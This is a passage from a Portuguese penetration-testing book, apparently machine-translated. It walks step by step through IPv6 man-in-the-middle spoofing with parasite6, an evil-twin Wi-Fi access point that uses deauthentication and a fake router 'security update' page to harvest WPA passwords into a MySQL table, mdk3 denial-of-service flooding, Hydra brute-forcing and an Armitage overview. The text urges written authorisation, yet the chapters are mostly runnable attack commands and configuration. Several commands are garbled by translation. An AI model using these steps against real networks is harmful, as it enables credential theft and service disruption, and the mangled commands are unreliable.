porque as mensagens periódicas de "desautenticação" que chegam
desassociarão os clientes conectados a isto.
Como você vê, se você tiver um WLC em sua organização, poderá identificar
e conter rapidamente pontos de acesso não autorizados. Mas, mais uma vez,
gostaria de lembrá-lo de que atacar a rede local sem fio de outra pessoa não é
legal, e você pode ter problemas para fazer isso, então certifique-se de ter
autorização por escrito ou a aprovação de seu gerente para realizar tal
contenção usando WLC ou quaisquer outras ferramentas.
Capítulo 27 Captura de Pacote IPv6 com Parasite 6

Imagine que você tenha uma nova atribuição para teste de penetração e a
empresa tenha duas redes que precisam ser invadidas. No entanto, um deles é
muito provavelmente fácil, pois não há firewalls instalados.
Mas a segunda rede parece mais segura e pode levar o dia todo para descobrir
a possível volnaribilidade de explorá-los. Algumas pessoas podem começar
com o mais fácil, que pode ser feito em menos de uma hora.
Mas, se você fizer as perguntas certas para a implementação de rede atual que
está sendo executada na empresa, você pode evitar uma dor de cabeça extra e
ter um dia fácil.
O IPv6 está funcionando como um protocolo válido na maioria dos
computadores nas empresas hoje. Portanto, ao tomar certas medidas para
desativá-lo, você pode aproveitar o IPv6 de acordo com sua operação e
comprometer a rede por um ataque Man in the Middle.
Se você está ciente disso e sabe como quebrá-lo, pode terminar o teste de
penetração em um curto período de tempo, já que a empresa possivelmente
não habilitou todos os recursos de segurança da rede como deveriam.
O ataque Man in the Middle pode ser alcançado por muitas ferramentas e já
discutimos algumas delas anteriormente. Quando estivermos nos
aproximando de uma rede IPv6, podemos usar outra grande ferramenta
chamada “Parasite6”.
Vamos voltar ao básico e pensar no que acontece quando o PC inicializa pela
primeira vez enquanto está conectado a uma rede. É claro que o PC primeiro
solicitaria um endereço IP.
Nesse caso, um endereço IPv6 do roteador que está na mesma rede, ou se
houver um servidor DHCP, o servidor DHCP atribuirá esse endereço IP a
esse PC.
Em seguida, se aquele PC começar a se comunicar com a rede externa ou
com a Internet, primeiro ele deve aprender o endereço Mac do roteador, e
isso aconteceria usando ARP ou protocolo de resolução de endereço, mas no
IPv6 não existe ARP.
O que acontece na rede IPv6 em vez de ARP é que o PC usaria um
“Neighbour Discovery”, especificamente denominado NDP ou Neighbour
Discovery Protocol.
O que aconteceria a seguir é que o PC enviaria uma descoberta de vizinho,
para ser mais detalhado, uma solicitação de vizinho para seu roteador, então o
roteador responderia por um anúncio de vizinho.
Solicitações estão solicitando e a publicidade está fornecendo o endereço
solicitado. Isso é ótimo, mas como usaríamos o Parasite6 aqui?
Bem, entraríamos na rede com nossa máquina Kali Linux que está
executando o Parasite6 e, em seguida, começaríamos a ouvir a rede.
Assim que o Parasite6 estiver ativado, ele começará a ouvir todas as
mensagens solicitadas que passam pela rede e, em seguida, começará a
responder.
Mas, em vez de responder com os detalhes corretos, responderíamos com
nosso próprio Mac Address a todos na rede, fazendo com que todos os
dispositivos da rede acreditassem que somos o roteador.
Ainda não temos um ataque Man in the Middle, em vez disso, temos um
ataque DoS ou Denial of Service, porque cada dispositivo de rede que deseja
acessar a Internet alcançaria nossa máquina Kali primeiro, graças ao
Parasite6 estar habilitado.
Para transformar este ataque DoS em um ataque MITM, teríamos que ativar o
encaminhamento IPv6 em nossa máquina Kali Linux.
Iniciar o Parasite6 em Kali é simples, tudo o que você precisa fazer é digitar
o comando:
“Interface1 parasite6 (endereço mac falso)”
Em seguida, pressione Enter. Basicamente, você precisa digitar parasite6,
especificar a interface que deseja conectar à rede e se tornar um Man in the
Middle e, em seguida, digitar o endereço mac falso que deseja fornecer a
todos os outros dispositivos finais ou dispositivos de rede conectados ao
mesma rede.
Para o endereço mac falso, qualquer endereço mac inventado funcionaria bem.
Outros comandos úteis que você pode implantar são:
“Parasite6 -l interface1 (endereço mac falso)“
Desta vez, adicionei “–l” e isso representaria um loop, o que significa que
criaria um loop e atualizaria a mensagem de solicitação a cada 5 segundos em
a fim de manter as informações envenenadas atualizadas. Você também tem
outra opção se digitar:
“Parasite6 -r interface1 (endereço mac falso)“
Desta vez usando “–r” representando que também tentaria injetar o destino da
solicitação. Mas, para usar ambos, mantendo todas as informações falsas
envenenadas atualizadas, bem como envenenando o destino da solicitação
também, devemos usar o seguinte comando:
“Parasite6 -lr interface1 (endereço mac falso)“
Em seguida, ao lançar esse comando, ele ouviria todas as mensagens de
solicitação de vizinho que recebesse e começaria a responder a todas com seu
próprio endereço falso que especificamos.
Certifique-se de ter uma autorização por escrito antes de usar o Parasite6,
incluindo quaisquer variações relacionadas ao Parasite6, pois ele pode causar
sérios danos a todos os dispositivos de rede conectados à rede.
Se você estiver praticando apenas em seu laboratório doméstico, em um
ambiente sem produção, isso não deve causar problemas para ninguém; ainda
assim, sugiro que você desligue seu roteador e pratique com cuidado sem
nenhuma conexão com a internet.
Capítulo 28 Ataque de desautenticação de gêmeos do mal com mdk3

Neste capítulo, vou ensiná-lo a criar um ponto de acesso gêmeo do mal em


uma máquina virtual Kali Linux. Além disso, vou mostrar a você como usar o
ponto de acesso gêmeo do mal em combinação com algumas técnicas de
engenharia social para obter uma senha WPA ou WPA2 de destino.
Para completar este ataque, você precisará de um adaptador de rede USB que
suporte o modo monitor. Se você ainda não tem um adaptador de rede USB,
ele suporta o modo monitor, já recomendei adaptadores de rede em alguns
dos capítulos anteriores.
Além disso, se você já entende como o ponto de acesso do gêmeo maligno
funciona, tudo bem, mas se você não sabe, deixe-me explicar o que faremos
para esse ataque.
Primeiro, vamos criar um ponto de acesso gêmeo malvado e é chamado de
gêmeo malvado porque é um clone de um ponto de acesso autêntico. Assim,
encontramos uma rede sem fio que desejamos atingir, copiamos essas
informações de identificação das redes, como seu nome e endereço MAC, e
então usamos essas informações para criar nossa própria rede sem fio.
Lembre-se de que só deve ser executado em redes sem fio de sua
propriedade. Se você não tem duas redes sem fio, sugiro que pergunte a um
vizinho ou amigo se pode usar a rede deles para praticar.
Quando um cliente se conecta à rede do gêmeo do mal, eles não serão
capazes de distinguir entre a rede autêntica e a rede do gêmeo do mal. Então,
quando o cliente abrir o navegador da web, iremos redirecioná-lo para uma
página de atualização de segurança do roteador, que solicitará que ele insira
sua senha WPA ou WPA2.
Quando o cliente inserir sua senha WPA, a senha será armazenada em um
banco de dados my SQL, que criaremos em alguns instantes. Isso é tudo que
vamos fazer para este ataque.
Vamos em frente e começar. Primeiro, precisamos nos conectar à Internet e
vamos conseguir isso compartilhando nossa conexão de Internet do sistema
operacional host com nossa máquina virtual Kali Linux. Dessa forma, ele
eliminará a necessidade de um segundo adaptador de rede USB. Se você
pular para o seu sistema operacional host, não importa o tipo de sistema
operacional que você está
usando apenas o tempo que você puder se conectar à Internet com ele.
Vá em frente e abra seu gerenciador de rede e, em seguida, encontre uma
rede sem fio para se conectar. Você pode se conectar à sua rede doméstica,
então, uma vez feito isso, agora que você está conectado à Internet em seu
sistema operacional host, precisamos compartilhá-lo com nossa máquina
virtual Kali Linux.
Portanto, vamos voltar para o Kali Linux e na barra de menu superior,
precisamos abrir o menu da máquina virtual e, em seguida, expandir o menu
do adaptador de rede, e aqui precisamos configurar nosso adaptador de rede
para detecção automática em ponte.
Depois de fazer essa configuração, você pode prosseguir e permitir que o
menu da máquina virtual seja recolhido e agora podemos usar esse adaptador
de rede virtual para estabelecer uma conexão com a Internet por meio de
nosso sistema operacional host.
Em seguida, abra o seu gerenciador de rede, você pode usar qualquer
gerenciador de rede que você tenha, e em seu gerenciador de rede você
precisa encontrar a opção que diz “rede com fio” e clique em “conectar”.
Enquanto estiver conectando, quero salientar que se você estiver usando o
gerenciador de rede padrão e estiver tendo problemas com a conexão com
fio, recomendo instalar outro gerenciador de rede, como “gerenciador de rede
WICD”.
Agora que temos uma conexão com a internet, precisamos instalar o servidor
DHCP e para aqueles de vocês que não sabem o que é um servidor DHCP,
um servidor DHCP é usado para atribuir um endereço IP dentro de um
intervalo específico aos clientes que se conectam um ponto de acesso.
Nesse caso, vamos usá-lo para atribuir um endereço IP a qualquer pessoa que
se conectar ao nosso ponto de acesso gêmeo maligno. Vá em frente e feche
seu gerenciador de rede e agora precisamos abrir um terminal e no terminal
vamos digitar;
“Apt-get install dhcp3-server”
e então pressione ENTER. Já instalei o servidor DHCP, mas você pode
receber um prompt solicitando a confirmação da instalação, então apenas
digite “Y” que significa “sim” e pressione Enter e aguarde um momento para
concluir a instalação.
Seguindo em frente, precisamos configurar nosso servidor DHCP, então no
terminal vamos digitar; “Nano /etc/dhcpd.conf”
e pressione Enter, e você deve ter um arquivo de configuração dhcp3 em
branco,
mas se não estiver em branco, simplesmente exclua o conteúdo existente
antes de prosseguir. Assim que estiver pronto, vamos começar a inserir
nossas configurações. Na primeira linha, precisamos digitar;
“Autoritário;”
e então pressione ENTER para mover para a próxima linha e então
digite; “Default-lease-time 600;”
e então pressione ENTER e vá para a próxima linha e digite;
“Tempo máximo de locação 7200;”
e então pressione ENTER para mover uma linha para
baixo e então digite; “Sub-rede 192.168.1.128 máscara de
rede 255.255.255.128 {“
em seguida, pressione Enter para descer na linha
e digite; “Opção subnet-mask 255.255.255.128;
em seguida, pressione Enter para descer na linha
e digite; “Opção de endereço de transmissão
192.168.1.255;”
e então pressione ENTER para descer uma linha e
digitar; “Opção de roteadores 192.168.1.129;”
e então pressione ENTER para descer uma linha e
digitar; “Opção de servidores de nomes de domínio
8.8.8.8;”
e então pressione ENTER para descer uma linha e
digitar; “Intervalo 192.168.1.130 192.168.1.140;”
e então pressione ENTER para descer uma linha e
digitar; em seguida, digite uma chave virada para
trás;
}
e isso é tudo que precisamos inserir, então agora precisamos salvar e fechar o
arquivo. Mas antes de fazer isso, verifique se você tem a seguinte
configuração em seu terminal;
autoritário;
default-lease-time 600;
tempo máximo de locação 7200;
sub-rede 192.168.1.128 máscara de rede 255.255.255.128 {
opção subnet-mask 255.255.255.128;
opção de endereço de transmissão 192.168.1.255;
opção de roteadores 192.168.1.129;
opção de servidores de nomes de domínio 8.8.8.8;
intervalo 192.168.1.130 192.168.1.140;
}

Depois de verificar se sua configuração está correta, vamos prosseguir e


salvar essas configurações.
Primeiro vamos pressionar as teclas “ctrl e X” juntas, depois pressionaremos
a tecla “Y” e, por fim, pressionaremos a tecla Enter. Agora precisamos baixar
a página de atualização de segurança que o cliente verá ao abrir o navegador
da web.
Este exemplo de página da web imita uma atualização de segurança para um
roteador Linksys, mas em um teste de penetração do mundo real, a página de
exemplo que estou usando provavelmente será irrelevante se seu teste de
caneta for uma empresa que usa um portal cativo ou uma página de destino.
Por exemplo, você deseja implantar uma página da Web que se pareça com o
portal cativo daquela empresa. Se você estiver testando a caneta em uma rede
que usa Netgear, D-link ou Cisco, deseja produzir uma página da Web que se
identifique com esses fabricantes específicos.
Depois de fazer o download do arquivo ZIP do evil twin, você também
precisa descompactá-lo. Depois de concluído, estamos prontos para iniciar
nosso servidor web Apache, que nos permitirá hospedar nossa página de
atualização de segurança. Agora precisamos digitar;
“/Etc/init.d/apache2 start”
e pressione Enter e agora precisamos iniciar o My SQL, então
vamos digitar; “/Etc/init.d/mysql start”
e pressione Enter e agora que o My SQL está em execução, precisamos fazer
login nele e criar um banco de dados onde armazenaremos a senha WPA que
nosso cliente inseriu na página de atualização de segurança, então vamos
digitar;
“Mysql –u root”
e pressione Enter, e você deve ter o prompt do MySQL. Aqui, vamos criar
um banco de dados chamado “gêmeo do mal”, então vamos digitar;
“Criar banco de dados evil_twin;”
e então pressione ENTER, e agora precisamos criar uma tabela com algumas
colunas que representará os dados que o cliente insere no campo de senha em
nossa página de atualização de segurança. Portanto, para entrar em nosso
novo banco de dados, precisamos digitar;
“Use evil_twin”
Em seguida, pressione ENTER e agora vamos digitar;
“Create_table wpa_keys (senha varchar (64), confirmar varchar (64));”
e então pressione Enter e caso você esteja se perguntando, esse comando
criou uma tabela chamada “wpa_keys” que contém duas colunas. Um é
chamado de “senha” e o outro é chamado de “confirmar”.
O 64 representa o número máximo de caracteres que podem ser armazenados
na coluna e usamos 64 porque uma senha WPA pode conter até 64 caracteres.
Continuando, precisamos encontrar o nome da interface de nossos
adaptadores de rede virtual e precisamos encontrar nosso endereço IP local
porque iremos usá-los em comandos futuros.
Portanto, vamos abrir um novo terminal e podemos deixar o terminal My
SQL aberto porque iremos acessá-lo mais tarde. No novo terminal,
precisamos digitar;
“Espaço ip”
e, em seguida, pressione Enter e vá em frente e encontre o nome da interface
de seus adaptadores de rede virtual e seu endereço IP local. Meu nome de
interface é “eth0” e meu endereço IP local é “192.168.0.6”, mas o seu pode
ser diferente.
Abra um bloco de notas em branco para manter o controle dessas
informações e vá em frente e represente esses itens da maneira que mostro
para que possamos consultá-los facilmente mais tarde, sem confusão.
Chamaremos nossa interface de adaptadores de rede virtual de nome de nossa
interface com fio e a minha é eth0 e, em seguida, chamaremos nosso
endereço IP local de nosso IP local e o meu será 192.168.0.1.
Interface com fio: eth0
Endereço IP local: 192.168.0.6
Agora que anotamos essas informações, precisamos encontrar o nome de
nossa interface de adaptadores de rede USB. Portanto, conecte seu adaptador
de rede USB, se ainda não tiver feito isso, e depois vamos voltar para o
terminal. No terminal, precisamos digitar;
“Airmon-ng”
e então pressione ENTER e vá em frente e encontre o nome da interface do
seu adaptador de rede USB. O nome da sua interface está sendo exibido logo
abaixo de “Interface” e, em seguida, vamos anotar isso no seu bloco de notas.
Vamos chamá-la de nossa interface wireless, e a minha é wlan0;
Interface sem fio: wlan0
e agora precisamos criar uma interface de monitor, então vamos voltar para o
terminal e precisamos digitar;
“Airmon-ng start [wlan0]”
e pressione Enter, vá em frente e encontre o nome da interface do seu
monitor. A interface do monitor é mostrada dentro da frase “(modo monitor
habilitado em wlan0)” e então vamos anotar isso em seu bloco de notas.
Vamos chamá-la de nossa interface de monitor e a
minha é mon0 “Interface de monitor: mon0”
e agora vamos usar o “airodump” para encontrar a rede sem fio que queremos
clonar, mas primeiro vou compartilhar com vocês algo que nos permitirá
identificar o tipo de roteador que a rede de destino está usando.
Portanto, vamos voltar ao terminal e digitar;
“Airodump-ng-oui-update”
e então pressione ENTER. Aqui, espere um momento para fazer o download
do arquivo “OUI”. Isso nos fornece uma lista de fabricantes e formatos de
endereço MAC conhecidos. O que isso faz é permitir que o “airodump”
compare os BSSIDs das redes descobertas com a lista e exiba o fabricante
correspondente para nós nos resultados da varredura.
Continuando, vamos iniciar nossa varredura. Para fazer isso, precisamos
digitar;
“Airodump-ng -M mon0”
e, em seguida, pressione Enter e, quando encontrar a rede sem fio que deseja
segmentar, pressione as teclas “ctrl e C” para interromper a varredura. Agora
precisamos anotar os alvos “ESSID”, o número do canal referido como “CH”
e os alvos “BSSID”.
Portanto, vamos voltar para o seu bloco de notas e vamos chamar esses itens
de "Target ESSID", "Target Channel Number" e "Target BSSID", então vá
em frente e consulte seu terminal e anote esses detalhes da seguinte forma:
ESSID de destino: freewifi
Número do canal de
destino: 6
BSSID de destino: aa: bb: cc: dd: ee: ff
Em relação ao ESSID, certifique-se de usar todas as letras maiúsculas e
minúsculas conforme necessário e anote o número do canal onde o meu está
usando 6 e, em seguida, para o BSSID, recomendo simplesmente copiar e
colar para garantir que você não cometa nenhum erro.
Para copiar texto do terminal Kali sem usar o botão direito do mouse, você
pode simplesmente pressionar as teclas “ctrl shift + C” para copiar qualquer
texto. Da mesma forma que se você quiser colar texto, você pode pressionar
as teclas “ctrl shift + V”.
Depois de colar essas informações no bloco de notas, agora que temos as
informações de nossos alvos, podemos criar um gêmeo do mal. Então, vamos
voltar para o terminal e agora precisamos digitar;
“Airbase-ng –e freewifi –c 6 –P mon0”
Aqui, você está referenciando o ESSID de destino, em seguida, o número do
canal de destino que é no meu caso 6 e, em seguida, insira o nome da
interface do seu monitor, onde você pode ver que o meu é "mon0" e
pressione Enter.
Agora que nosso ponto de acesso gêmeo malvado está instalado e
funcionando, precisamos configurar nossa interface de túnel para que
possamos criar uma ponte entre nosso ponto de acesso gêmeo malvado e
nossa interface com fio.
Portanto, vamos abrir um novo terminal, mas não feche o terminal da base
aérea ou o terminal My SQL. No terminal, precisamos digitar;
“Ifconfig at0 192.168.1.129 máscara de rede 255.255.255.128”
E então pressione Enter. Agora precisamos adicionar uma tabela de
roteamento e habilitar o encaminhamento de IP para que possamos
encaminhar o tráfego de e para nosso ponto de acesso gêmeo maligno, então
vamos digitar;
“Route add -net 192.168.1.128 netmask 255.255.255.128 gw
192.168.1.129” e pressione enter. Agora precisamos digitar;
“Echo 1> / proc / sys / net / ipv4 / ip_forward”
e pressione Enter. Agora precisamos criar algumas regras de iptables. Essas
regras determinarão como o tráfego de rede é tratado. Primeiro, vamos criar
uma regra para gerenciar o tráfego que precisa ir para nossa interface com
fio, que é nossa fonte de Internet, então vamos digitar;
“Iptables - - table nat - -append POSTROUTING - -out-interface eth0 –j MASQUERADE”
mascarada deve ser escrita em letras maiúsculas e pressione Enter. Agora
precisamos criar uma regra para gerenciar o tráfego que está entrando em
nossa interface de túnel, então vamos digitar;
“Iptables - -append FORWARDA - -in-interface at0 -j ACCEPT”
e pressione Enter. Agora precisamos criar uma regra que permita conexões
TCP na porta 80 e as encaminhe para nosso servidor web, então precisamos
digitar;
“Iptables -t nat -A PREROUTING –p tcp - -dport 80 –j DNAT - -to-destination 192.168.0.6:80”

e pressione Enter. Para a regra final, precisamos criar uma regra que nos
permita fornecer uma tradução de endereço de rede e para fazer isso
precisamos digitar;
“Iptables -t nat -A POSTROUTING –j MASQUERADE”
e pressione Enter. Agora que temos as tabelas IP configuradas, precisamos
apontá-lo para nosso arquivo de configuração DHCP D e iniciar nosso
servidor DHCP, então vamos digitar;
“Dhcpd -cf /etc/dhcpd.conf –pf /var/run/dhcpd.pid
at0” e pressione Enter. Em seguida, digite;
“/Etc/init.d/isc-dhcp-server start”
e pressione Enter. Agora você deve ver a seguinte saída:
“Iniciando o servidor ISC DHCP: dhcpd”
Isso reflete que o servidor dhcp foi iniciado e com êxito. Por último
etapa, precisamos forçar os clientes da rede alvo a se conectar ao nosso ponto
de acesso gêmeo maligno.
Para fazer isso, precisamos desconectar os clientes da rede de destino,
executando um ataque de desautenticação. Lembre-se de que há várias
maneiras de fazer isso, mas para esse ataque usaremos o MDK3.
Primeiro, precisamos criar um arquivo de lista negra que contém o endereço
MAC ou BSSID do alvo. Então, vamos digitar;
“Echo aa: bb: cc: dd: ee: ff> lista negra”
aa: bb: cc: dd: ee: ff aqui faz referência ao BSSID de destino, então vá em
frente e copie isso do seu bloco de notas e cole no terminal para colocá-lo na
lista negra como acima e pressione ENTER.
Em seguida, para iniciar o ataque de desautenticação,
precisamos digitar; “Lista negra mdk3 mon0 d –b –c 6”
Aqui, você deve inserir o nome da interface do seu monitor e o meu é mon0
e, em seguida, o número do canal de destino e o meu é 6 e, em seguida,
pressione enter. Agora você pode passar para o computador que está usando
para simular uma vítima.
Se o ataque de desautenticação for bem-sucedido, o computador vítima deve
perder a conexão atual a qualquer momento. Assim que o computador da
vítima perder a conexão, o que vai acontecer é que o computador da vítima
tentará restabelecer a conexão que acabou de perder, no entanto, como
suspendemos a rede autêntica, ele deve se conectar à rede gêmea do mal em
vez de.
Se você voltar ao terminal da base aérea para observar a conexão, ele deverá
mostrar que alguém está conectado ao seu ponto de acesso gêmeo maligno.
Portanto, se você voltar ao computador da vítima, poderá abrir um navegador
da web e apenas tentar acessar google.com.
Aqui, você deve ver que foi levado a uma página de atualização de segurança
e, como usuário, deseja ter certeza de que seu roteador está atualizado com
todas as suas atualizações, especialmente as atualizações de segurança, por
isso ele pedirá que você insira sua senha WPA como a atualização do
roteador está solicitando.
Depois de confirmar a senha, clique em atualizar. Agora vamos voltar ao seu
terminal My SQL e verificar se você conseguiu capturar a senha WPA.
No terminal, precisamos digitar;
“Use evil_twin”
e pressione Enter. Então vamos digitar;
“Select * from wpa_keys;”
e pressione Enter, e você verá que a senha do cliente foi armazenada em seu
banco de dados My SQL.
A senha deve ser mostrada em “senha” e a senha confirmada em “confirmar”
no banco de dados My SQL.
Se o cliente inserir uma senha incorreta, ele será levado a uma página de erro
solicitando que insira novamente as senhas porque não há correspondência.
Se o cliente clicasse no botão cancelar, ele teria sido levado a uma página que
garante a importância desta atualização de segurança e que é para seu próprio
bem e que eles não poderão navegar na Internet até que façam a atualização .
É assim que você pode criar um ponto de acesso gêmeo do mal e configurar
uma página da web que irá capturar a senha WPA.
Certifique-se de ter uma autorização por escrito antes de usar essas
ferramentas, pois isso pode causar sérios danos a todos os dispositivos de
rede que estão conectados à rede.
Se você estiver praticando apenas em seu laboratório doméstico, em um
ambiente sem produção, isso não deve causar problemas para ninguém; ainda
assim, sugiro que você desligue seu roteador e pratique com cuidado sem
nenhuma conexão com a internet.
Capítulo 29 Ataque DoS com MKD3

Outra ameaça à segurança corporativa é, obviamente, o DOS ou ataques de


negação de serviço. Como o nome sugere, um ataque de negação de serviço,
se bem-sucedido, impede que outras pessoas usem o recurso ou serviços.
Isso interrompe os serviços para outros usuários. Houve um caso na imprensa
em que um indivíduo decidiu que estava cansado de ver as pessoas usando
seus telefones celulares enquanto dirigia, então ele dirigia com um
bloqueador de celular em seu carro e, enquanto dirigia, interferia em todas as
frequências do celular rede.
Então, os veículos ao redor dele, essas pessoas não podem usar seus telefones
celulares e você pode dizer, uau, que ótima ideia, mas você tem que lembrar
que a polícia, as ambulâncias, também usam os serviços de celular.
Portanto, quando você interrompe frequências na rede celular de outras
pessoas, também está interrompendo serviços para os quais não deseja
interromper. Este indivíduo em particular foi finalmente localizado e, assim
que o encontraram, ele foi preso e multado pesadamente.
Mas, como você executa um ataque de negação de serviço? Bem, em
wireless, existem duas maneiras principais. O primeiro é bombardear seu
ponto de acesso Wi-Fi com tráfego inútil. Se você criar muito tráfego e o
ponto de acesso estiver tentando decidir o que fazer com isso, ele processa
todas as solicitações de autenticação?
E se você enviar uma solicitação de investigação e, embora o ponto de acesso
esteja lidando com esse tráfego, ele não está lidando com outro tráfego de
usuário. Então, basicamente, uma abordagem é apenas ocupar o ponto de
acesso para que ele não possa lidar com o tráfego legítimo.
A segunda abordagem é simplesmente criar ruído e interferência na banda de
frequência em que o ponto de acesso está operando. Posso transmitir sinais
que apenas interrompem e interferem em quaisquer outros sinais transmitidos
ao mesmo tempo.
Bem, neste capítulo, vou compartilhar com você como realizar um ataque
DOS. A negação de serviço ou DOS significa que vamos expulsar todo
mundo de uma rede e negar o serviço.
Primeiro, precisamos conectar nosso adaptador de rede sem fio. Depois de
fazer isso, você precisa abrir um terminal e digitar;
“Ifconfig”
pressione enter e agora você precisa abrir um arquivo de texto porque você
precisa anotar algumas informações. Primeiro, vamos anotar nossa interface
wireless, que para mim é wlan0.
Vá em frente e anote esse nome. Depois de fazer isso, você pode limpar seu
terminal digitando
"Claro"
em seguida, pressione Enter. Em seguida, precisamos verificar os pontos de
acesso disponíveis para encontrar um alvo, então digite;
“Iwlist wlan0 scan”
em seguida, pressione Enter. Isso listará todos os pontos de acesso
disponíveis, então vá em frente e pesquise um alvo. Depois de encontrar seu
destino, você precisa anotar o SSID e, em seguida, anotar o BSSID e, em
seguida, anotar o número do canal.
Depois de fazer isso, precisamos criar um arquivo de lista
negra, então digite; “Echo (BSSID do ponto de acesso de
destino)> lista negra”
e pressione Enter. Isso criará um arquivo chamado “lista negra”, contendo os
pontos de acesso alvo BSSID. Agora precisamos colocar nossa interface
wireless no modo monitor. Para fazer esse tipo;
“Airmon-ng start wlan0”
em seguida, pressione Enter. Este comando criará uma interface de monitor
chamada “mon0”. Vá em frente e anote essa interface de monitor. Para
confirmar se sua interface de monitoramento é chamada, você pode digitar;
“Airmon-ng”
E então pressione ENTER. Isso exibirá todas as suas interfaces e você deverá
ver lá a nova interface de monitoramento chamada “mon0”. Agora estamos
prontos para realizar nosso ataque DOS, então vamos prosseguir e digitar;
“Mdk3”
em seguida, pressione Enter. A seguir,
vamos digitar; “Lista negra mdk3 mon0 d
–b –c 6”
Aqui, você deve digitar o nome da interface do monitor, que é mon0, depois
o nome do nosso arquivo de lista negra, que no meu caso é chamado de “lista
negra”, e o canal do nosso ponto de acesso de destino, que no meu caso é “6”.
Depois de fazer isso, vá em frente e pressione ENTER. A seguir, você verá
que ele começará a enviar pacotes e a inundar a rede.
Nesse ínterim, se você for procurar outras máquinas conectadas à mesma
rede, perceberá que elas serão desconectadas. Agora precisamos ir em frente
e abrir outro terminal, e vamos digitar;
“Mdk3 mon0 a –m –i (pontos de acesso alvo BSSID)”
e pressione Enter. Olhando para outro computador próximo, você verá que
ele acabou de ser expulso da rede. Se você olhar para o seu Wi-Fi, verá que
ele foi desconectado.
Você pode prosseguir e tentar se conectar ao BSSID de destino, mas isso vai
lhe dar uma mensagem de tempo limite de conexão. É isso aí. Como você
pode ver, os ataques DOS são relativamente simples. Você deve ver que foi
desconectado e agora não podemos mais nos conectar e é assim que você
pode executar um ataque DOS usando MDK3.
Capítulo 30 Ataque de força bruta com TCP Hydra

Neste capítulo, você aprenderá como analisar um ataque de força bruta contra
o sistema alvo. Neste cenário, imagine que você tenha 3 nós. O invasor usará
um Kali Linux com o endereço IP 10.0.0.111 e a máquina vítima usará um
dispositivo Windows 10 com o endereço IP 10.0.0.202.
Por último, o testador de penetração usará o Kali Linux para interceptar todo
o tráfego e analisar quaisquer ataques na rede. Imagine que você é o invasor e
deseja atacar um dos hosts na rede que tem um serviço Telnet ativado.
A primeira coisa que um hacker fará é tentar usar a força bruta na vítima
alvo. Para começar com um ataque de força bruta, existem várias ferramentas
que você pode usar, mas há uma que é muito popular entre os pen testers e
que ainda não cobrimos é chamada de “hidra”.
Para usar o hydra, você deve primeiro abrir a janela do terminal Klai Linux e
digitar o comando:
“Hydra –V –l (caminho do arquivo de senha do dicionário) –t 50 - (endereço
IP da vítima) ssh”
Em seguida, pressione Enter. Aqui, a opção “-V” é para verbosidade máxima,
então o “- l” é para o nome de login, seguido pelo caminho do arquivo de
senha do dicionário, e o argumento “–t” seleciona o número de conexões
paralelas.
Quanto maior o número, mais rápido o teste ocorrerá, seguido pelo endereço
IP da vítima e, por fim, o protocolo que desejo aplicar à força bruta. Depois
de pressionar Enter, o ataque começará e tudo o que você precisa fazer agora
é esperar que a senha seja quebrada.
A senha deve ser descoberta em alguns minutos. Da perspectiva do hacker,
qual é o próximo passo? Bem, o hacker tentará fazer login usando Telnet.
Primeiro, o hacker emitirá o comando Telnet, depois especificará o endereço
IP do host da vítima e digitará o nome de login seguido da senha quebrada.
Neste momento, o hacker está feliz com a vitória. Se você entrar na máquina
do testador de penetração e analisar esse hack, deverá ver o que acontece
quando o invasor tenta uma combinação de nome de usuário e senhas que
não são autorizados.
Para analisar esses tipos de conversas no Wireshark, clique com o botão
direito em qualquer pacote e selecione “Follow TCP Stream”. A mensagem
dirá que não são permitidas mais conexões ao servidor telnet. "Por favor,
tente novamente mais tarde".
Esta é a mensagem típica que o atacante recebe repetidamente quando falha
durante o ataque de força bruta.
No Wireshark quando você olha para o tráfego tocado, você tem que rolar
para baixo até que você não veja mais este tipo de padrão, e se seguir o fluxo
novamente, você deve ver o nome de usuário e a senha em texto simples, e
você também deve ver o comando que o invasor executou.
A lista que você vê nesta página são protocolos de texto não criptografado,
como HTTP, FTP e protocolos de e-mail, como POP, IMAP, SMTP, Telnet
ou Voice over IP.
Se você achar que seu cliente está usando um desses protocolos, deve
mencionar isso em seu relatório final. Uma solução simples é substituir esses
protocolos de texto não criptografado por outros protocolos seguros, como
HTTPS em vez de HTTP, SFTP ou SCP em vez de FTP e assim por diante.
Capítulo 31 Armitage Ave Maria

Armitage é uma interface gráfica excelente para o framework Metasploit.


Armitage foi desenvolvido com o objetivo de ajudar os profissionais de
segurança a compreender melhor os hackers e como eles implantam vários
ataques.
Para obter mais informações sobre este excelente projeto, verifique o site
oficial da Armitage em fastandeasyhacking.com. Como usar o Armitage?
Bem, o Armitage também está incluído no Kali Linux, portanto, tudo o que
você precisa fazer é ativá-lo e digitar na sua interface de linha de comando:
“Armitage”
Em seguida, pressione Enter. Você pode apenas aceitar as opções padrão para
a janela que aparece pela primeira vez e clicar no botão Conectar e, em
seguida, clicar em Sim para iniciar o servidor Metasploit RPC.
A interface de usuário do Armitage possui três painéis principais chamados
Módulos, Alvos e Guias. Você pode clicar na área entre esses painéis para
redimensioná-los, se desejar, mas vamos examinar cada um desses painéis.
O painel do navegador do módulo permite que você inicie um módulo
auxiliar Metasploit, um exploit ou gere uma carga útil e execute um módulo
pós-exploração.
O painel de destino mostra seus destinos. Armitage representa cada destino
como um computador com seu endereço IP estático ou atribuído e outras
informações sobre ele abaixo do ícone do computador.
Depois de executar a ferramenta Armitage, ela já deve identificar um host se
você tiver outros sistemas em execução em sua sessão. Se você tiver muitos
hosts, será difícil trabalhar com a visualização do gráfico.
Se isso acontecer, para esta situação, Armitage tem uma visão de tabela em
vez disso. Portanto, vá para o item de menu Armitage, selecione “Definir
Visualização do Destino” e, em seguida, selecione a opção “Visualização da
Tabela”. Abaixo, você tem a área de guias.
Armitage abre cada console de diálogo e tabela em uma guia abaixo do
módulo e painéis de destino. O console Metasploit ou o console Meterpreter
e as interfaces do shell usam uma guia de console.
Uma guia do console permite que você interaja com essas interfaces por meio
do Armitage. Se você deseja abrir um novo console, você deve ir ao menu
Exibir e selecionar Console.
Os logs de Armitage são todos console shell e o log de eventos fornecerá uma
saída para você. Ele organiza esses logs por data e nós. Você encontrará esses
registros na pasta Armitage.
Vá para Exibir, Relatórios, selecione “Logs de atividades” para abrir a pasta.
Imagine que você deseja exportar todo o tráfego que realizou neste
aplicativo.
Armitage e Metasploit compartilham um banco de dados para rastrear seus
hosts, serviços, vulnerabilidades, credenciais e strings de agente de usuário,
capturados por módulos de exploração de navegador.
Para obter todas essas informações, vá para Exibir, Relatórios e clique em
Exportar dados. Esta opção exportará os dados do Metasploit e criará
arquivos de valor separados por tabulação XML facilmente analisáveis.
